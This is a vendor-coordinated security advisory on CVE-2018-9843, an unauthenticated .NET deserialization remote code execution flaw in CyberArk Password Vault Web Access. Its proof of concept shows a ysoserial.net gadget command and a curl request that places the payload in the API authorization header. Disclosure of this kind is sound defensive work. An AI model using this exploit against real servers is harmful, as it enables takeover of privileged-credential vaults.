

RedTeam Pentesting - CyberArk Password Vault Web Access Remote Code Execution

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Content

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CyberArk Password Vault Web Access Remote Code Execution

The CyberArk Password Vault Web Access application uses authentication tokens which consist of serialized .NET objects. By crafting manipulated tokens, attackers are able to gain unauthenticated remote code execution on the web server.

Details

- Product: CyberArk Password Vault Web Access
- Affected Versions: < 9.9.5, < 9.10, 10.1
- Fixed Versions: 9.9.5, 9.10.1, 10.2
- Vulnerability Type: Remote Code Execution
- Security Risk: high
- Vendor URL: <https://www.cyberark.com/>
- Vendor Status: fixed version released
- Advisory URL: <https://www.redteam-pentesting.de/advisories/rt-sa-2017-014>
- Advisory Status: published
- CVE: CVE-2018-9843
- CVE URL: <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9843>

Introduction

“CyberArk Enterprise Password Vault is designed to secure, rotate and control access to privileged account credentials based on organizational policies. A flexible architecture allows organizations to start small and scale to the largest, most complex IT environments. The solution protects privileged account credentials used to access the vast majority of systems.” (from the Enterprise Password Vault Data Sheet (<http://lp.cyberark.com/rs/316-CZP-275/images/ds-enterprise-password-vault-11-15-17.pdf>))

More Details

The CyberArk Password Vault provides secure storage for credentials. It may be accessed through various clients which are also provided by CyberArk. One such client is the CyberArk Password Vault Web Access, a .NET web application. After logging into the web application with their credentials, users may access credentials kept in the vault. Additionally, CyberArk Password Vault Web Access provides a REST API for programmatic access to the vault. This API is available at an URL similar to the following:

```
https://10.0.0.6/PasswordVault/WebServices/
```

The API provides multiple endpoints with different methods. Most methods provided by the API require prior authentication. Consequently, a user's API call must include an authentication token in an HTTP authorization header. Tokens may be generated by calling a dedicated “Logon” API method.

Analysis of this token by RedTeam Pentesting revealed, that it consists of a base64 encoded, serialized .NET object of the type “CyberArk.Services.Web.SessionIdentifiers”. This class consists of four string attributes which hold information about a user's session. The integrity of the serialized data is not protected. Therefore, attackers may send arbitrary .NET objects to the API in the authorization header. By leveraging certain gadgets, such as the ones provided by ysoserial.net (<https://github.com/pwntester/ysoserial.net>), attackers may execute arbitrary code in the context of the web application.

Proof of Concept

First, a malicious serialized .NET object is created. Here the “TypeConfuseDelegate” gadget of ysoserial.net is used to execute the “ping” command:

```
$ ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 \
-c "ping 10.0.0.19" > execute-ping.txt
```

```
$ cat execute-ping.txt
```

[illegible]

```
VmVyc2lrbj00LjAuMC4wLDBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1
YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL
```

Next, an API call is invoked which includes the malicious .NET object in its authorization header. This is done with cURL (<https://curl.haxx.se/>) as follows:

```
$ curl -s -X GET -k \
  --url 'https://10.0.0.6/PasswordVault/WebServices/PIMServices.svc/' \
  'Applications/?Location=\&IncludeSublocations=true' \
  --header "authorization: $(cat execute-ping.txt)" \
  --header 'content-type: application/json'
```

Simultaneously, tcpdump (<https://www.tcpdump.org/>) is invoked on the host 10.0.0.19 to listen for ICMP packets originating from the web server:

```
$ sudo tcpdump -i enp0s25 icmp
tcpdump: verbose output suppressed[...]
listening on enp0s25[...]

IP 10.0.0.6 > 10.0.0.19: ICMP echo request, id 1, seq 6, length 40
IP 10.0.0.19 > 10.0.0.6: ICMP echo reply, id 1, seq 6, length 40
```

The fact that ICMP packets are received from the web server, indicates that attacker-controlled code was executed.

Workaround

Disable any access to the API at the route /PasswordVault/WebServices.

Fix

Upgrade CyberArk Password Vault Web Access to version 9.9.5, 9.10.1 or 10.2.

Security Risk

The risk of this vulnerability is rated as high. Attackers with access to the PrivateArk Vault Web Access REST API may execute arbitrary code on the web server. No credentials are required. Attackers gain access to the system with the privileges of the web application. Consequently, such access may be used to backdoor the web application and compromise further accounts and credentials. Additionally, attackers may pivot from the web server to attack the vault directly.

Timeline

- 2017-11-24 Vulnerability identified
- 2018-01-22 Customer approved disclosure to vendor

- 2018-02-05 Vendor notified
- 2018-02-28 Vendor released fixed version
- 2018-04-06 CVE number requested
- 2018-04-07 CVE number assigned
- 2018-04-09 Advisory released
- 2018-04-10 Advisory updated, fixed version number

RedTeam Pentesting GmbH

RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories.

More information about RedTeam Pentesting can be found at: <https://www.redteam-pentesting.de/>

Working at RedTeam Pentesting

RedTeam Pentesting is looking for penetration testers to join our team in Aachen, Germany. If you are interested please visit: <https://jobs.redteam-pentesting.de/>